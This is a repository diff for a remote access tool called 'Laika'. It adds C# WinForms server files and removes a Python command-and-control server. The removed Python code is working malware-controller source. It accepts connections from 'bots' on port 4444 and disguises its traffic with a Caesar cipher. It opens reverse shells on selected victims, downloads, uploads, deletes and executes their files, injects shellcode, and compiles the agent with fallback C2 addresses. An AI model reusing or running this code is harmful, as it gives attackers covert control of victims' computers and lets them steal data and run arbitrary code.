<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="terminal" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="execute" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\execute.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="refresh" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="folder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="upload" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

30
Server/Properties/Settings.Designer.cs generated Normal file
View File

@@ -0,0 +1,30 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Server.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}

View File

@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

BIN
Server/Resources/delete.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

BIN
Server/Resources/file.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 KiB

BIN
Server/Resources/folder.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

BIN
Server/Resources/upload.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

129
Server/Server.csproj Normal file
View File

@@ -0,0 +1,129 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{ECBAF9B2-2988-480B-973E-50A6BDC7016E}</ProjectGuid>
<OutputType>WinExe</OutputType>
<RootNamespace>Server</RootNamespace>
<AssemblyName>Server</AssemblyName>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\bin\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="BuildMenu.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="BuildMenu.Designer.cs">
<DependentUpon>BuildMenu.cs</DependentUpon>
</Compile>
<Compile Include="FileExplorer.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="FileExplorer.Designer.cs">
<DependentUpon>FileExplorer.cs</DependentUpon>
</Compile>
<Compile Include="Menu.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Menu.Designer.cs">
<DependentUpon>Menu.cs</DependentUpon>
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="BuildMenu.resx">
<DependentUpon>BuildMenu.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="FileExplorer.resx">
<DependentUpon>FileExplorer.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Menu.resx">
<DependentUpon>Menu.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\terminal.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\folder.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\execute.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\delete.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\refresh.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\upload.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\download.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\file.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\up_arrow.png" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@@ -1,607 +0,0 @@
from colorama import Fore, Style
from prettytable import PrettyTable
from geoip import geolite2
from flask import Flask, request, send_file, render_template, send_from_directory, jsonify
from threading import Thread
import os, sys, time
import easygui
import errno
import select
import socket
import logging
import urllib.parse
import select
import math
import re
ADRESSE = socket.gethostbyname(socket.gethostname())
PORT = 4444
CONNECT_CLIENTS = [] #liste des sockets ouverts
THREAD_LIST = [] #tout les threads
CAESAR_KEY = 5
SELECTED_CLIENT = -1
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serveur.bind((ADRESSE, PORT))
def is_linux_user() -> bool :
platform = sys.platform
return platform == "linux" or platform == "linux2"
def CAESAR(in_s: str) -> str :
r=""
for c in in_s :
try :
r+=chr(ord(c)+CAESAR_KEY)
except :
r+=" "
return r
def CAESAR_DECRYPT(in_s: str) -> str :
r=""
for c in in_s :
try :
r+=chr(ord(c)-CAESAR_KEY)
except :
r+=" "
return r
def convert_size(size_bytes):
if size_bytes == 0:
return "0 O"
size_name = ("O", "Ko", "Mo", "Go", "To", "Po", "Eo", "Zo", "Yo")
try :
i = int(math.floor(math.log(size_bytes, 1024)))
except :
return "N"
p = math.pow(1024, i)
s = round(size_bytes / p, 2)
return "%s %s" % (s, size_name[i])
def recv_message_ret(client) :
message = ""
while True :
client.settimeout(0.1)
try :
message = client.recv(4096)
if CAESAR_DECRYPT(message.decode("latin-1")) == "done" :
break
except socket.timeout :
break
if not message:
break
if client.gettimeout() == 0:
break
return message
def recv_file(client, i, addr) :
time.sleep(0.05)
if not os.path.exists(addr):
os.makedirs(addr)
out_file = open(addr + "\\" + i, "wb")
while True:
try:
# Receive data from the socket
data = client.recv(4096)
if not data:
break
# Write the data to the file
out_file.write(data)
except socket.error as e:
if e.errno == errno.WSAEWOULDBLOCK:
# If recv would block, wait until the socket is readable
ready_to_read, _, _ = select.select([client], [], [], 1)
if not ready_to_read:
# If select timed out, try recv again
continue
else:
break
out_file.close()
time.sleep(0.05)
def recv_folder(client, path, addr, i) :
if not os.path.exists(addr + "/" + i):
os.makedirs(addr + "/" + i)
client.send(CAESAR("get_file_list").encode())
client.send(CAESAR(path + "/" + "\0").encode())
try :
files = recv_message_ret(client).decode("latin-1")
except :
return
for f_d in files.split('/') :
f = CAESAR_DECRYPT(f_d)
client.send(CAESAR("get_obj_info").encode())
client.send(CAESAR(path + '\\' + f + "\0").encode())
infos = recv_message_ret(client)
try :
infos = infos.decode("latin-1")
except :
pass
taille = infos.split("/")[0]
if taille != '0' :
#call download file
client.send(CAESAR("download_file\0").encode())
client.send(CAESAR(path + "/" + f + "\0").encode())
recv_file(client, f, addr + "/" + i)
continue
else :
recv_folder(client, path + "/" + f, addr, i + "\\" + f)
def upload_file(fp, sock):
sock.send(fp.read())
app = Flask(__name__)
# Disable Flask's default logging
log = logging.getLogger('werkzeug')
log.disabled = True
@app.route('/<path:filename>')
def serve_file(filename):
file_path = os.path.join(app.root_path, 'FileExplorer', filename)
return send_from_directory(os.path.dirname(file_path), os.path.basename(file_path))
@app.route('/')
def index() :
index_path = os.path.join(os.getcwd(), 'FileExplorer/index.html')
return send_file(index_path)
path_file_ex = ""
path_file_ex_2 = ""
FILES_=[]
CLIENT_IN_PATH = None
@app.route('/interact', methods=['POST'])
def interact() :
file_list = request.get_json()["to_send"]
action = file_list.pop(0)
if CLIENT_IN_PATH == None : return "no client"
client = CONNECT_CLIENTS[CLIENT_IN_PATH]
#print(file_list)
addr = client.getpeername()[0]
addr = os.getcwd() + "\\" + addr.replace(".","_")
files = []
if action != "upload" :
for f in file_list :
if f == None :
continue
files.append(f.split('">')[1].replace("</a>",""))
match action :
case "download" :
for i in files :
print(f"files:{files} i:{i} FILES_:{FILES_}")
path = path_file_ex_2 + i
if i in FILES_ :
#call download file
client.send(CAESAR("download_file\0").encode())
client.send(CAESAR(path + "\0").encode())
recv_file(client, i, addr)
else :
recv_folder(client, path, addr, i)
time.sleep(0.05)
case "upload" :
filename = easygui.fileopenbox()
if filename == None or path_file_ex_2 == "" :
return 'no file selected'
#print(f"{filename} --> {path_file_ex_2}")
client.send(CAESAR("upload_file\0").encode())
file_parts = filename.split('\\')
client.send(CAESAR(path_file_ex_2 + file_parts[len(file_parts)-1] + "\0").encode())
fp = open(filename, "rb")
upload_file(fp, client)
time.sleep(0.05)
case "remove" :
for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
#call remove file
client.send(CAESAR("del_file\0").encode())
client.send(CAESAR(path + "\0").encode())
else :
#call remove folder
client.send(CAESAR("del_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
case "execute" :
for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
client.send(CAESAR("execute\0").encode())
client.send(CAESAR(path + "\0").encode())
return 'ok'
def extract_filename(url):
match = re.search(r'<a class="centered">(.+?)</a>', url)
return match.group(1) if match else ''
@app.route('/get_data', methods=['POST'])
def get_data() :
global path_file_ex
global path_file_ex_2
global FILES_
global CLIENT_IN_PATH
data = []
got_path = request.get_data().decode("latin-1")
got_path = urllib.parse.unquote_plus(got_path)
if got_path and got_path != "{}" :
if "img" in got_path : got_path = got_path.split("centered\">")[1]
got_path = got_path.replace("<a>","").replace("</a>","").replace("folder_path=","")
if got_path == ".." :
folders = path_file_ex.split("/")
if folders != [".."] and folders != [""] :
folders.pop()
folders.pop()
path_file_ex = '/'.join(folders)
if path_file_ex != "" :
path_file_ex += "/"
else :
path_file_ex += got_path + "/"
else :
path_file_ex = ""
i = -1
if CONNECT_CLIENTS != [] :
data.append({"url" : f"<a>..</a>", "modified":"", "size" : ""})
for client in CONNECT_CLIENTS :
i += 1
if len(path_file_ex.split("/")) == 1 or path_file_ex == "" :
data.append({"url" : f"<a>Client n°{i}</a>", "modified":"", "size" : ""})
continue
if len(path_file_ex.split("/")) == 2 :
#getting drive letters
path_parts = path_file_ex.split("/")
client_num = int(path_parts.pop(0).replace("Client n°",""))
if client_num != i : continue
client.send(CAESAR("get_drives").encode())
drives = recv_message_ret(client)
try :
drives = drives.decode("utf-8")
except :
pass
for d in drives :
data.append({"url": f"<a>{d}</a>", "modified": "", "size":""})
continue
else :
client.send(CAESAR("get_file_list").encode())
path_parts = path_file_ex.split("/")
client_num = int(path_parts.pop(0).replace("Client n°",""))
if client_num != i : continue
path_parts[0] = path_parts[0] + ":"
CLIENT_IN_PATH = i
if path_parts[len(path_parts)-2] in FILES_ :
path_parts.pop(len(path_parts)-2)
path_file_ex_parts = path_file_ex.split("/")
path_file_ex_parts.pop(len(path_file_ex_parts)-2)
path_file_ex = '/'.join(path_file_ex_parts)
path_file_ex_2 = '/'.join(path_parts)
client.send(CAESAR(path_file_ex_2 + "\0").encode())
files = ""
try :
files = recv_message_ret(client).decode("latin-1")
except :
files = recv_message_ret(client)
if files == "" : return ""
aaa = ""
try :
aaa = files.split("/")
except : return ""
FILES_ = []
for f in aaa:
f = CAESAR_DECRYPT(f)
client.send(CAESAR("get_obj_info").encode())
client.send(CAESAR(path_file_ex_2 + f + "\0").encode())
infos = ""
try:
infos = recv_message_ret(client).decode("latin-1")
except :
infos = recv_message_ret(client)
is_dir = infos == "d"
modified = ""
taille = ""
if not is_dir :
FILES_.append(f)
if f[0] == "$" :
f = "." + f[1:]
if is_dir :
data.append({"url": f"<img src=\"images/folder.png\" alt=\"Folder Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
"modified": f"{modified}", "size": f"{taille}"})
else :
data.append({"url": f"<img src=\"images/file.png\" alt=\"File Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
"modified": f"{modified}", "size": f"{taille}"})
json_data = jsonify({"data":data})
return json_data
def ban() :
if is_linux_user() :
os.system("clear")
else :
os.system("title Laika - 0 bots")
os.system("cls")
print(Fore.RED + " __ _ _ ")
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
print(Fore.RED + " / / / _` || || |/ // _` |")
print(Fore.RED + "/ /___| (_| || || <| (_| |")
print(Fore.RED + "\\____/ \\__,_||_||_|\\_\\\\__,_|")
print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
print("")
def on_new_client() -> None :
while True :
serveur.listen(1)
client, adresseClient = serveur.accept()
client.setblocking(0)
CONNECT_CLIENTS.append(client)
def on_close_socket() -> None:
global CONNECT_CLIENTS
global SELECTED_CLIENT
while True :
for s in CONNECT_CLIENTS :
try:
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
data = s.recv(16, socket.MSG_PEEK)
if len(data) == 0:
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
CONNECT_CLIENTS.remove(s)
except BlockingIOError:
pass # socket is open and reading from it would block
except ConnectionResetError:
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
except Exception as e:
pass
def update_title() -> None :
if is_linux_user() :
return # marche pas encore, nsm linux
while True :
if SELECTED_CLIENT == -1 :
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")
else :
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT))
time.sleep(2)
def recv_message(socket_object) -> bool:
socket_object.settimeout(0.1)
while True:
try :
message = socket_object.recv(4096)
if CAESAR_DECRYPT(message.decode("latin-1")) == "Laika: session ended" :
return False
except socket.timeout :
break
if not message:
break
print(CAESAR_DECRYPT(message.decode("latin-1")), end="")
if socket_object.gettimeout() == 0:
break
return True
def main() -> None :
global SELECTED_CLIENT
THREAD_LIST.append(Thread(target = on_new_client, args = ()))
THREAD_LIST.append(Thread(target = on_close_socket, args = ()))
THREAD_LIST.append(Thread(target = update_title, args = ()))
THREAD_LIST.append(Thread(target = app.run, kwargs = {"debug":False}))
for t in THREAD_LIST :
t.daemon = True
t.start()
time.sleep(1)
ban()
while True :
cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET)
if cmd == "help" :
print("")
print("help : montre ce message")
print("clear : efface l'écran")
print("exit : ferme le serveur")
print("clients : montre les clients connectés")
print("select <ID> : sélectionne le client avec lequel intéragir")
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
print("fex : ouvre l'explorateur de fichiers")
print("inject <ARCH> <FILE> : upload un shellcode. ARCH --> 32/64")
print("build : build un client")
print("")
elif cmd == "exit" :
for c in CONNECT_CLIENTS :
c.close()
sys.exit(0)
elif cmd == "clear" :
ban()
elif cmd == "build" :
print("")
nb_fallbacks = input("Nombre de serveurs de fallback : ")
if not nb_fallbacks.isdigit() or int(nb_fallbacks) < 0 :
print(f"\"{nb_fallbacks}\" n'est pas un nombre valide.")
continue
ips = {}
for i in range(1, int(nb_fallbacks)+1) :
while True :
s_ip = input(f"IP du serveur {i} : ")
if "." in s_ip : #technique de shlag mais un nom de domaine peut pas être vérifié avec socket du coup on check juste le "."
s_port = input(f"Port du serveur {i} : ")
ips[CAESAR(s_ip)] = int(s_port)
break
print("")
print("Écriture de la config...")
with open("../Laika/config.h", "w") as config :
config.write(f"#define FALLBACK_SERVERS {nb_fallbacks}\n\n")
config.write("char* fallback_servers["+nb_fallbacks+"] = {\n")
for ip in ips.keys() :
config.write(f"\t\"{ip}\",\n")
config.write("};\n\n")
config.write("int fallback_servers_ip["+nb_fallbacks+"] = {\n")
for port in ips.values() :
config.write(f"\t{port},\n")
config.write("};")
print("Config écrite")
print("")
print("Compilation de l'agent..")
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
os.system("\""+cmd_line+"\" ../Laika /p:Configuration=Release;Platform=x86")
elif cmd == "clients" :
print("")
x = PrettyTable()
x.field_names = ["ID", "IP", "PORT", "PAYS"]
for i in range(0,len(CONNECT_CLIENTS)) :
c = CONNECT_CLIENTS[i]
addr = c.getpeername()[0]
pays = ""
match = None#geolite2.lookup(addr)
if match is not None :
pays = match.country
x.add_row([i, addr, PORT, pays])
print(x)
print()
elif "select " in cmd :
id = cmd.replace("select ","")
if not id.isdigit() or int(id) < 0 or len(CONNECT_CLIENTS) < 1 or int(id) > len(CONNECT_CLIENTS)-1 :
print(f"\"{id}\" n'est pas un ID valide.")
continue
SELECTED_CLIENT = int(id)
print(f"Client numéro : {SELECTED_CLIENT} sélectionné.")
elif cmd == "deselect":
if SELECTED_CLIENT == -1 :
print("Vous n'avez aucun client sélectionné.")
else :
print(f"Client {SELECTED_CLIENT} déselectionné.")
SELECTED_CLIENT = -1
elif cmd == "shell" :
if SELECTED_CLIENT == -1 :
print("Vous n'avez aucun client sélectionné.")
continue
client = CONNECT_CLIENTS[SELECTED_CLIENT]
client.send(CAESAR("shell").encode())
time.sleep(1)
while True :
if not recv_message(client) : break
command = input("")
client.send(CAESAR(command+"\n").encode())
print("\nSession terminée.")
elif cmd == "fex" :
print("\nClique sur le lien ci-dessous pour voir le file explorer :")
print("http://127.0.0.1:5000\n")
elif "inject" in cmd :
if SELECTED_CLIENT == -1 :
print("Vous n'avez aucun client sélectionné.")
continue
client = CONNECT_CLIENTS[SELECTED_CLIENT]
parts = cmd.split(" ")
if len(parts) > 3 or len(parts) <= 2 :
print("Commande mal formée, \"help\" pour la syntaxe.")
continue
arch = parts[1]
if arch != "32" and arch != "64" :
print("Commande mal formée, \"help\" pour la syntaxe.")
continue
fichier = parts[2]
if not os.path.isfile(fichier) :
print(f"{fichier} n'a pas été trouvé.")
continue
client.send(CAESAR("inject").encode())
client.send(CAESAR(arch).encode())
fp = open(fichier, "rb")
upload_file(fp, client)
elif cmd == "" :
pass
else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
main()

View File

@@ -1,6 +0,0 @@
colorama
prettytable
easygui
python-geoip-python3
python-geoip-geolite2
flask